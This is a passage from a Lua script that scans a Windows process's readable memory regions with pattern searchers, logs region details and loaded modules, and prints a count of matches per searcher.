writeLog(logFile, string.format("\n[ERROR] Infinite loop detected at address 0x%08X, aborting scan\n", address))
break
end
lastAddress = address
writeLog(logFile, string.format("\n[REGION %d] 0x%08X - 0x%08X size=%d KB protect=0x%03X state=0x%03X\n",
regions, baseAddr, baseAddr + regionSize, math.floor(regionSize / 1024), protect or 0, state or 0))
if regionSize == 0 then
writeLog(logFile, " WARNING: Zero-sized region, advancing by 4KB\n")
address = baseAddr + 0x1000
else
if state == MEM_COMMIT and isReadableProtection(protect) then
readableRegions = readableRegions + 1
-- Progress indicator for console (every 10 regions)
if readableRegions % 10 == 0 then
print(string.format("Scanning... %d regions inspected, %d readable", regions, readableRegions))
end
-- Protected region scan with timeout detection
local scanSuccess, scanErr = pcall(scanRegion, processHandle, logFile, baseAddr, regionSize, searchers)
if not scanSuccess then
writeLog(logFile, string.format(" ERROR: Region scan failed: %s\n", tostring(scanErr)))
end
else
writeLog(logFile, " Skipped (not committed/readable)\n")
end
address = baseAddr + regionSize
end
-- Sanity check: if address didn't advance, force it forward
if address <= baseAddr then
writeLog(logFile, string.format(" WARNING: Address didn't advance (was 0x%08X), forcing +4KB\n", address))
address = baseAddr + 0x1000
end
-- Additional safety: detect address overflow/wraparound
if address < baseAddr then
writeLog(logFile, string.format("\n[ERROR] Address wraparound detected (prev=0x%08X, current=0x%08X), aborting\n", baseAddr, address))
break
end
end
-- Check if we hit the region limit
if regions >= MAX_REGIONS_TO_SCAN then
writeLog(logFile, string.format("\n[WARNING] Reached maximum region scan limit (%d), terminating early\n", MAX_REGIONS_TO_SCAN))
end
logLoadedModules(processHandle, logFile)
kernel32.CloseHandle(processHandle)
writeLog(logFile, "\n=== SUMMARY ===\n")
writeLog(logFile, string.format("Regions inspected: %d\n", regions))
writeLog(logFile, string.format("Readable regions: %d\n", readableRegions))
writeLog(logFile, "\nMatches by searcher:\n")
local totalMatches = 0
for _, search in ipairs(searchers) do
if search.count > 0 then
writeLog(logFile, string.format(" %s: %d\n", search.label, search.count))
end
totalMatches = totalMatches + search.count
end
writeLog(logFile, string.format("\nTotal matches found: %d\n", totalMatches))
logFile:close()
currentLogFile = nil
print(string.format("Scan complete. %d regions inspected, %d readable, %d total matches found", regions, readableRegions, totalMatches))
print(string.format("Results logged to: %s", logPath))
end
local ok, err = pcall(main)
if not ok then
print(string.format("FATAL: Scanner failed - %s", tostring(err)))
print(debug.traceback())
os.exit(1)
end